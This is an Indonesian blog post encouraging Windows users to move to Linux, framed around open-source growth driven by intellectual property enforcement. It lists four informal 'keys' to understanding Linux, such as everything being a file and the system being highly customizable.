    Isu belakangan tentang adanya penegakan HAKI mendorong pesatnya program/software yang bersifat opensource. Hal ini juga memacu pesat tumbuhnya Linux di berbagai penjuru dunia. Bahkan sampai-sampai Linux pun menjadi dibuat seperti Windows untuk menarik atau mempermudah penggunaan Linux oleh para pengguna Windows. Sebuah itikad baik untuk menolong para pengguna Windows untuk beralih ke Linux, meski kadang di kalangan orthodox – Linuxer hal itu dianggap sebagai pelencengan Linux.. kok linux dibuat seperti itu? Semuanya punya niat baik. Perkara berbeda itu memang sudah biasa.

    Lantas, bagaimana memahami Linux yang berbeda-beda itu? Ada beberapa kunci untuk memahami Linux. Namun yang paling penting adalah kita mengubah format pikiran kita tentang Windows dan beralih ke Linux. Kalau perlu, hapus partisi windows anda dan menggunakan Linux secara penuh.

    Ada beberapa kunci memahami Linux:

    1. Di Linux, semua dianggap sebagai File, sehingga proses akses ke device/hardware juga dianggap sebagai file

    2. Semua yang sulit adalah tantangan mengasyikan, dan semua kemudahan,memang sebenarnya linux justru lebih mudah.

    3. Linux itu customizeable, apapun bisa kita customize ..

    4. Di tingkat lanjut, kita bisa buat distro sendiri (cita – cita saya juga)